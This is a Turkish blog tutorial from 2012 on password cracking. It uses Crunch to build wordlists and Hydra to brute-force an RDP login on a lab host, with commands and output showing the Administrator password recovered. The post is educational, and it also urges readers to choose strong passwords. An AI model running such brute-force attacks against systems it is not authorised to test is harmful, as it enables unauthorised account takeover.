25 Haziran 2012 Pazartesi

Parola Kırma Yöntemleri (Crunch ve Hydra)



Parola kırma saldırılarının temelde çalışma mantığı sırasıyla tüm olasılıkların denenmesidir. Gerekli önlemler alınmadığı takdirde kırılamayacak şifre yoktur. Sadece zaman problemi çıkacaktır ortaya. Örneğin linkte şifrelerimizin ne kadar zamanda kırılabileceğini görebiliriz. Bu yüzden mümkün olduğunca karışık ve çeşitli karakterli şifreler vermeye özen göstermeliyiz. Bu arada verdiğim linke gerçek şifrelerinizi sakın yazmayın. Böylelikle site sahibinin eline gerçek şifrelerden oluşmuş güzel bir liste vermiş oluruz. Gerçi şimdiye kadar verilenlerle liste uzamış gitmiştir ama biz en azından kendimizi koruyalım.

Peki parola kırma saldırılarında tüm olasılıklar nasıl oluşturuluyor? Yukarıda verdiğim linkteki gibi zekice bir yöntemle de oluşturulabilir. Ama biz şimdi normal yoldan yani bir tool ile oluşturacağız. Wordlist oluşturmalarda çok sık kullanılan tool’umuzun adı Crunch. Bu tool ile istediğimiz karakterlerle, istediğimiz uzunluklarda şifreler oluşturabiliyoruz.

Öncelikle kurulumdan bahsedelim.

BackTrack’te /pentest/passwords/ dizini altında gelmektedir.
Eğer yok ise apt-get install crunch komutu ile saniyeler içinde kurulacaktır.
İlk listemizi oluşturarak başlayalım.

root@bt:/pentest/passwords/crunch# ./crunch 3 3 ewq -o test.txt

Komutu ile test.txt dosyasına ewq karakterlerinden oluşan tüm olasılıkları oluşturduk. Dosyanın içeriğini cat ile görüntülediğimizde 27 tane şifre oluştuğunu gördük.

Komutta yer alan “3 3” kaç karakterli şifreler oluşturacağımızı gösteriyor. İlk “3” minimum karakter sayısı, ikinci “3” ise maximum karakter sayısını gösteriyor. 3 3 seçtiğimiz için sadece 3 karakterli ihtimalleri listeledi. Eğer 1 3 seçmiş olsaydık liste e, w, q, ew, qw gibi 1 ve 2 karakterli olasılıkları da içerecekti.
-o ise output olarak listenin nereye yazılacağını belirtiyor.

root@bt:/pentest/passwords/crunch# cat test.txt
eee
eew
eeq
ewe
...
..
Crunch dizini altında bulunan charset.lst ile karakter setlerine ulaşabiliriz. Charset.lst’nin bir kısmı aşağıdaki gibidir. Örneğin sembollerden şifre listesi oluşturmak istiyorsak symbols-all seçmeliyiz.

root@bt:/pentest/passwords/crunch# ./crunch 3 3 –f /pentest/passwords/crunch/charset.lst symbols-all -o test12.txt

komutta yer alan –f ile karakter setinden seçmek istediğimiz symbols-all’u belirtiyoruz.

root@bt:/pentest/passwords/crunch# cat charset.lst
hex-lower                     = [0123456789abcdef]
hex-upper                     = [0123456789ABCDEF]

numeric                       = [0123456789]
numeric-space                 = [0123456789 ]

symbols14                     = [!@#$%^&*()-_+=]
symbols14-space               = [!@#$%^&*()-_+= ]

symbols-all                   = [!@#$%^&*()-_+=~`[]{}|\:;"'<>,.?/]
symbols-all-space             = [!@#$%^&*()-_+=~`[]{}|\:;"'<>,.?/ ]

Ayrıca Crunch ile özel şifreler oluşturmakta mümkün. –t  @,%^ parametreleri ile istediğimiz türden şifreler oluşturabiliriz.

@ küçük harfler için
,    büyük hafler için

% numaralar için
^ semboller için

Örneğin aşağıdaki komut sayesinde test ile başlayan ve son harfi küçük harf olan tüm şifreleri ozel.txt’ye yazdırdık. Burada minimum ve maximum karakter sayısı belirttiğimiz şifrenin karakter sayısı ile aynı olmalı. Yani 4 5 olarak seçemezdik.

root@bt:/pentest/passwords/crunch# ./crunch 5 5 –t test@ -o ozel.txt
root@bt:/pentest/passwords/crunch# cat ozel.txt
testa
testb
testc
testd
..


---Hydra---

Belirlediğimiz kriterlere göre oluşturduğumuz listelerden sonra hydra ile parola saldırılarına başlayabiliriz.  
Hydra ile kullandığımız parametreler;

-l username
-L username.list
-p password
-P password.list

Yukarıda crunch ile oluşturduğumuz test dosyasını burada kullanıyoruz.
Aşağıdaki komutla Username’i Administrator olacak şekilde test.lst listesinde bulunan tüm şifreleri rdp portu üzerinden denemesini istiyoruz.

root@bt:~/Desktop# hydra -l Administrator -P test.lst 192.168.183.207 rdp

Hydra v7.2 (c)2012 by van Hauser/THC & David Maciejak - for legal purposes only

Hydra (
http://www.thc.org/thc-hydra) starting at 2012-06-20 11:13:02
[WARNING] rdp servers often don't like many connections, use -t 1 or -t 4 to reduce the number of parallel connections and -W 1 or -W 3 to wait between connection to allow the server to recover
[DATA] 16 tasks, 1 server, 27 login tries (l:1/p:27), ~1 try per task
[DATA] attacking service rdp on port 3389
[3389][rdp] host: 192.168.183.207   login: Administrator   password: qwe
[STATUS] attack finished for 192.168.183.207 (waiting for children to finish)
1 of 1 target successfuly completed, 1 valid password found
Hydra (
http://www.thc.org/thc-hydra) finished at 2012-06-20 11:13:14

Görüldüğü gibi Administrator kullanıcısının şifresi qwe başarılı bir şekilde ele geçirildi.

Kaynak:


-GG

0 yorum:

Yorum Gönder